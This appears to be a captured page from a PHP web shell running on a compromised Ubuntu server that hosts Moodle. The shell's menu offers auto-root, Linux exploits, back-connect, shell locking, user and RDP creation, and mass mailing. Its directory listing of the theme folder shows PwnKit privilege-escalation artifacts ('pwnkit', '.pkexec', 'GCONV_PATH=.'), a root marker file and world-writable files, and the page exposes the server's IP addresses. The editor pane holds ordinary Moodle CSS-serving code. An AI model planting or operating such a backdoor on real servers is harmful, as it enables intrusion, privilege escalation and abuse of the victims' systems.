Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
theme /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
afterburner
[ DIR ]
drwxrwxrwx
anomaly
[ DIR ]
drwxrwxrwx
archaius
[ DIR ]
drwxrwxrwx
arialist
[ DIR ]
drwxrwxrwx
base
[ DIR ]
drwxrwxrwx
binarius
[ DIR ]
drwxrwxrwx
bootstrapbase
[ DIR ]
drwxrwxrwx
boxxie
[ DIR ]
drwxrwxrwx
brick
[ DIR ]
drwxrwxrwx
canvas
[ DIR ]
drwxrwxrwx
clean
[ DIR ]
drwxrwxrwx
eastern-culture
[ DIR ]
drwxrwxrwx
educator
[ DIR ]
drwxrwxrwx
essential
[ DIR ]
drwxrwxrwx
formal_white
[ DIR ]
drwxrwxrwx
formfactor
[ DIR ]
drwxrwxrwx
fusion
[ DIR ]
drwxrwxrwx
leatherbound
[ DIR ]
drwxrwxrwx
magazine
[ DIR ]
drwxrwxrwx
moodle2mobile
[ DIR ]
drwxrwxrwx
mymobile
[ DIR ]
drwxrwxrwx
nimble
[ DIR ]
drwxrwxrwx
nonzero
[ DIR ]
drwxrwxrwx
overlay
[ DIR ]
drwxrwxrwx
red_drop_down_menus
[ DIR ]
drwxrwxrwx
rocket
[ DIR ]
drwxrwxrwx
serenity
[ DIR ]
drwxrwxrwx
silky-red
[ DIR ]
drwxrwxrwx
simple
[ DIR ]
drwxrwxrwx
sky_high
[ DIR ]
drwxrwxrwx
splash
[ DIR ]
drwxrwxrwx
standard
[ DIR ]
drwxrwxrwx
standardold
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
image.php
10.63
KB
-rwxrwxrwx
index.php
9.32
KB
-rwxrwxrwx
javascript.php
3.6
KB
-rwxrwxrwx
jquery.php
4.81
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
styles.php
6.08
KB
-rwxrwxrwx
styles_debug.php
3.93
KB
-rwxrwxrwx
switchdevice.php
1.17
KB
-rwxrwxrwx
upgrade.txt
6.48
KB
-rwxrwxrwx
yui_combo.php
10.86
KB
-rwxrwxrwx
yui_image.php
5.4
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : styles.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This file is responsible for serving the one huge CSS of each theme. * * @package core * @copyright 2009 Petr Skoda (skodak) {@link http://skodak.org} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ // disable moodle specific debug messages and any errors in output, // comment out when debugging or better look into error log! define('NO_DEBUG_DISPLAY', true); // we need just the values from config.php and minlib.php define('ABORT_AFTER_CONFIG', true); require('../config.php'); // this stops immediately at the beginning of lib/setup.php require_once($CFG->dirroot.'/lib/csslib.php'); if ($slashargument = min_get_slash_argument()) { $slashargument = ltrim($slashargument, '/'); if (substr_count($slashargument, '/') < 2) { css_send_css_not_found(); } if (strpos($slashargument, '_s/') === 0) { // Can't use SVG $slashargument = substr($slashargument, 3); $usesvg = false; } else { $usesvg = true; } $chunk = null; if (preg_match('#/(chunk(\d+)(/|$))#', $slashargument, $matches)) { $chunk = (int)$matches[2]; $slashargument = str_replace($matches[1], '', $slashargument); } list($themename, $rev, $type) = explode('/', $slashargument, 3); $themename = min_clean_param($themename, 'SAFEDIR'); $rev = min_clean_param($rev, 'INT'); $type = min_clean_param($type, 'SAFEDIR'); } else { $themename = min_optional_param('theme', 'standard', 'SAFEDIR'); $rev = min_optional_param('rev', 0, 'INT'); $type = min_optional_param('type', 'all', 'SAFEDIR'); $chunk = min_optional_param('chunk', null, 'INT'); $usesvg = (bool)min_optional_param('svg', '1', 'INT'); } if (!in_array($type, array('all', 'ie', 'editor', 'plugins', 'parents', 'theme'))) { header('HTTP/1.0 404 not found'); die('Theme was not found, sorry.'); } if (file_exists("$CFG->dirroot/theme/$themename/config.php")) { // exists } else if (!empty($CFG->themedir) and file_exists("$CFG->themedir/$themename/config.php")) { // exists } else { header('HTTP/1.0 404 not found'); die('Theme was not found, sorry.'); } if ($type === 'ie') { css_send_ie_css($themename, $rev, $etag, !empty($slashargument)); } $candidatedir = "$CFG->cachedir/theme/$themename/css"; $etag = "$themename/$rev/$type"; $candidatename = $type; if (!$usesvg) { // Add to the sheet name, one day we'll be able to just drop this. $candidatedir .= '/nosvg'; $etag .= '/nosvg'; } if ($chunk !== null) { $etag .= '/chunk'.$chunk; $candidatename .= '.'.$chunk; } $candidatesheet = "$candidatedir/$candidatename.css"; $etag = sha1($etag); if (file_exists($candidatesheet)) { if (!empty($_SERVER['HTTP_IF_NONE_MATCH']) || !empty($_SERVER['HTTP_IF_MODIFIED_SINCE'])) { // we do not actually need to verify the etag value because our files // never change in cache because we increment the rev parameter css_send_unmodified(filemtime($candidatesheet), $etag); } css_send_cached_css($candidatesheet, $etag); } //================================================================================= // ok, now we need to start normal moodle script, we need to load all libs and $DB define('ABORT_AFTER_CONFIG_CANCEL', true); define('NO_MOODLE_COOKIES', true); // Session not used here define('NO_UPGRADE_CHECK', true); // Ignore upgrade check require("$CFG->dirroot/lib/setup.php"); $theme = theme_config::load($themename); $theme->force_svg_use($usesvg); $rev = theme_get_revision(); $etag = "$themename/$rev/$type"; if (!$usesvg) { // Add to the etag, one day we'll be able to just delete svg nonsense this. $etag .= '/nosvg'; } $etag = sha1($etag); if ($type === 'editor') { $cssfiles = $theme->editor_css_files(); css_store_css($theme, $candidatesheet, $cssfiles); } else { // IE requests plugins/parents/theme instead of all at once. $basedir = "$CFG->cachedir/theme/$themename/css"; if (!$usesvg) { $basedir .= '/nosvg'; } $css = $theme->css_files(); $allfiles = array(); $relroot = preg_replace('|^http.?://[^/]+|', '', $CFG->wwwroot); foreach ($css as $key=>$value) { if (!empty($slashargument)) { if ($usesvg) { $chunkurl = "{$relroot}/theme/styles.php/{$themename}/{$rev}/{$key}"; } else { $chunkurl = "{$relroot}/theme/styles.php/_s/{$themename}/{$rev}/{$key}"; } } else { if ($usesvg) { $chunkurl = "{$relroot}/theme/styles.php?theme={$themename}&rev={$rev}&type={$key}"; } else { $chunkurl = "{$relroot}/theme/styles.php?theme={$themename}&rev={$rev}&type={$key}&svg=0"; } } $cssfiles = array(); foreach($value as $val) { if (is_array($val)) { foreach ($val as $k=>$v) { $cssfiles[] = $v; } } else { $cssfiles[] = $val; } } $cssfile = "$basedir/$key.css"; css_store_css($theme, $cssfile, $cssfiles, true, $chunkurl); $allfiles = array_merge($allfiles, $cssfiles); } $cssfile = "$basedir/all.css"; css_store_css($theme, $cssfile, $allfiles); } // verify nothing failed in cache file creation clearstatcache(); if (!file_exists($candidatesheet)) { css_send_css_not_found(); } css_send_cached_css($candidatesheet, $etag);
Close